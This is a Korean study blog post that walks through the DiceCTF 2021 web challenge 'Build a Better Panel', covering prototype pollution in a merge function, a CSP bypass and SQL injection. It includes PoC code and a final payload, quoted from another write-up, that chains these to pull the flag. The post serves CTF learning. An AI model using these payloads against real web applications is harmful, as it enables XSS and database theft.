ctf 웹 문제를 분석하거나 풀어보면서 공부하는 스터디 글입니다.
1. CTF 문제
DiceCTF 2021의 Build a Better Panel문제를 분석했습니다.
라업은 아래의 라업들을 참고했습니다.(첫 번째 라업은 내려간것 같습니다...)
blog.bi0s.in/2021/02/09/Web/BuildAbetterPanel-dice21/
github.com/aszx87410/ctf-writeups/issues/18
2. 취약점 목록
1. Prototype Pollution
2. CSP Bypass
3. SQLi
3. 분석
1. Prototype Pollution
라업들을 살펴보면 가장 먼저 주목한 코드 부분이 아래의 코드입니다.
const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];
const safeDeepMerge = (target, source) => {
for (const key in source) {
if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){
if(key !== '__proto__'){
safeDeepMerge(target[key], source[key]);
}
}else{
target[key] = source[key];
}
}
}
위 코드에서 '__proto__'부분을 주목해야 합니다. 이 부분은 자바스크립트의 prototype이라는 개념이 사용된 부분입니다. prototype부분은 다른 객체지향 프로그래밍 언어에서 사용하는 클래스와 유사하지만 다른 기능입니다. 이 개념은 프로그래밍 언어의 개념이다 보니 아래의 링크를 첨부합니다.
medium.com/@bluesh55/javascript-prototype-%EC%9D%B4%ED%95%B4%ED%95%98%EA%B8%B0-f8e67c286b67
여기서 주목할 점은 자바스크립트의 prototype은 prototype pollution이라는 취약점이 존재합니다. 여기서 문제에서 제공한 Embedly Cards 부분이 중요해집니다. 제가 이 문제를 해석하면서 가장 헷갈렸던 부분인데 계속해서 찾아보고 곰곰히 생각해보니 아마 아래의 PoC의 조건(__proto__[onload]=alert(1)을 만족하게 되면 아래의 임베디드 에디터를 페이지에 추가하는 것 같습니다. 그래서 prototype pollution 취약점을 통해 이 부분을 조작해서 xss가 가능해지도록 만들어야되는 문제입니다.
여기서 prototype pollution 취약점이 무엇인지 짚고 넘어가야 합니다. prototype pollution은 위에서 설명한 자바스크립트의 prototype부분의 특성을 이용해서 다른 변수의 값을 변경하는 것입니다. 즉 a.__proto__.bss=1이라고 값을 설정하면 다른 객체 b.bss가 1로 설정되는 성질을 이용하여 공격하는 과정입니다. 이 공격에 대해서 제가 참고하면서 공부한 링크들입니다.
www.hahwul.com/2019/05/01/jqeury-prototype-pollution-cve-2019-11358/
blog.coderifleman.com/2019/07/19/prototype-pollution-attacks-in-nodejs/
하지만 위 코드에서는 __proto__라는 문자를 사용하지 못하도록 조건문으로 막아놓았습니다. 하지만 다른 방법으로 prototype을 변조할 수 있습니다. 바로 Object.prototype을 이용하는 방법입니다.
자바스크립트에서Object.prototype={}.__proto__를 의미하게 됩니다. 그래서 아래처럼 코드를 수정하게 되면
const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];
const safeDeepMerge = (target, source) => {
for (const key in source) {
if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){
if(key !== '__proto__'){
safeDeepMerge(target[key], source[key]);
}
} else {
target[key] = source[key];
}
}
}
const userWidgets = JSON.parse(`{
"constructor": {
"prototype": {
"onload": "console.log(1)"
}
}
}`)
let toDisplayWidgets = {'welcome back to build a panel!': {'type': 'welcome'}};
safeDeepMerge(toDisplayWidgets, userWidgets);
console.log(Object.prototype.onload) // console.log(1)
필요한 조건을 만족하도록 onload의 값을 수정해줄 수 있습니다.
// create widget
app.post('/panel/add', (req, res) => {
const cookies = req.cookies;
const body = req.body;
if(cookies['panelId'] && body['widgetName'] && body['widgetData']){
query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES (?, ?, ?)`;
db.run(query, [cookies['panelId'], body['widgetName'], body['widgetData']], (err) => {
if(err){
res.send('something went wrong');
}else{
res.send('success!');
}
});
}else{
console.log(cookies);
console.log(body);
res.send('something went wrong');
}
});
app.post('/panel/widgets', (req, res) => {
const cookies = req.cookies;
if(cookies['panelId']){
const panelId = cookies['panelId'];
query = `SELECT widgetname, widgetdata FROM widgets WHERE panelid = ?`;
db.all(query, [panelId], (err, rows) => {
if(!err){
let panelWidgets = {};
for(let row of rows){
try{
panelWidgets[row['widgetname']] = JSON.parse(row['widgetdata']);
}catch{
}
}
res.json(panelWidgets);
}else{
res.send('something went wrong');
}
});
}
});
그 후 문제의 위젯을 만드는 부분을 이용하여 앞서 설명했던 내용들을 추가하여 onload=alert(1)이라는 값을 설정해주어야 합니다. 위 코드에서 주목할 점은 JSON.parse를 사용해서 새로운 위젯을 만든다는 사실을 알 수 있습니다. 그리고 위젯의 데이터 값은 JSON.stringify 형식으로 넣어주면 됩니다. 그렇게 해서 완성된 코드는 아래와 같습니다.
console.log(
JSON.stringify({
widgetName: 'constructor',
widgetData: JSON.stringify({
prototype: {
onload: `alert(1)`
}
})
})
)
하지만 이렇게 만든 위젯을 통해 XSS 공격을 실행시키려고 하면 CSP에 막히게 됩니다.
2. CSP Bypass
default-src 'none';
script-src 'self' http://cdn.embedly.com/;
style-src 'self' http://cdn.embedly.com/;
connect-src 'self' https://www.reddit.com/comments/;
라업에서 볼 수 있는 에러 메시지와 CSP 상세 내용입니다. sript-src, style-src, connect-src 는 'self'로 링크의 정책을 따르지만 하위 도메인은 일치하지 않는 것을 나타내고, default-src(모든 리소스에 대한 정책)는 'none'으로 아무것도 일치하지 않다고 설정되어 있습니다. 이 부분에서 한 라업은 정확히 알고 푼것은 아닌것 같습니다. 이 문제의 쉬운 버전의 문제 페이로드를 응용해서 풀었고, 첨부한 라업 중 첫 번째 라업의 내용을 여기서는 조금 더 중점적으로 보았습니다.
라업에서 사용한 csp bypass 방법으로는 json callback을 사용한 것 같습니다. json 형태의 요청은 url과 리턴값으로 callback 함수를 남겨주게 됩니다. 이때, callback 데이터가 들어갈 함수를 지정하는 과정인데, 이 과정에서 <script src="">등으로 값을 text값을 읽어 올 수 있게 됩니다. 그 후 스크립트 raw data를 넘겨주어서 csp를 속이는 동작이 가능합니다. 아마 라업에서 srcdoc함수를 통한 방법도 이 방법과 같은 방법이 아닐까 생각합니다. 더 다양한 csp bypass방법과 csp에 관한 내용은 아래의 링크를 참고하면 좋을 것 같습니다.
www.hahwul.com/2019/01/27/csp-bypass-technique-xss/
4. 전체 익스코드 분석
console.log(
JSON.stringify({
widgetName: 'constructor',
widgetData: JSON.stringify({
prototype: {
srcdoc: `<link rel=stylesheet href="https://build-a-better-panel.dicec.tf/admin/debug/add_widget?panelid=xof5566no1'%2C%20(select%20flag%20from%20flag%20limit%201)%2C%20'1')%3B--&widgetname=1&widgetdata=1"></link>`
}
})
}
{"widgetName":"constructor","widgetData":"{\"prototype\":{\"srcdoc\":\"<link rel=stylesheet href=\\\"https://build-a-better-panel.dicec.tf/admin/debug/add_widget?panelid=xof5566no1'%2C%20(select%20flag%20from%20flag%20limit%201)%2C%20'1')%3B--&widgetname=1&widgetdata=1\\\"></link>\"}}"}
이 코드가 앞서 소개한 prototype pollution을 이용해서 목표하고자하는 값을 변조하기 위해서 큰 틀을 짰고, 그 뒤 csp에 걸리지 않게 우회하는 방법으로 json방식으로 링크를 넘겨주어서 사용하는 방식으로 최종 페이로드를 짠 것 같습니다. 그리고 위젯을 만들 때 플래그를 출력해주는 정보를 db에서 가져오야 하기때문에 이를 쿼리문을 사용해서 공격 페이로드를 구성했습니다. 여기서 SQLi가 사용되었습니다. 이 라업의 최종 페이로드가 가장 잘 정리되어 있어서 가져왔고, 문제와 전체적인 공격과정은 분석에 상세히 적어두었습니다.
5. 리뷰
이 문제에서 처음 csp bypass가 적용되어있는 것을 보았고, 새로운 취약점인 prototype pollution도 알게 되었습니다. 두 개념 모두 저에게는 아직 어려운 개념이어서 제대로 분석을 했는지도 확신이 들지 않는 문제였습니다. 그래서 이 글 작성 이후에도 좀 더 공부해보면서 수정할 부분은 수정해가고, 이 두 공격기법은 따로 정리해두어야 겠다는 생각이 들정도로 저에게는 어느정도 난이도가 있는 개념이었습니다. 그래서 이 문제의 점수는 6점 정도를 주고 싶습니다. 공부를 한다면 아주 못할만한 개념들은 아니며 한 개념은 수업도 들었었기 때문에 제가 추가적으로 내용을 좀 더 꼼꼼히 공부하면 풀이과정 자체를 이해하고 다른 문제에 적용하기에 어려운 개념은 아니라고 생각했기 때문입니다.
'웹 > CTF study & write up' 카테고리의 다른 글
ctf study #6 (0) | 2021.02.24 |
---|---|
ctf study #5 (0) | 2021.02.17 |
ctf study #3 (0) | 2021.02.11 |
ctf sutdy #2 (0) | 2021.02.09 |
ctf sutdy #1 (0) | 2021.02.03 |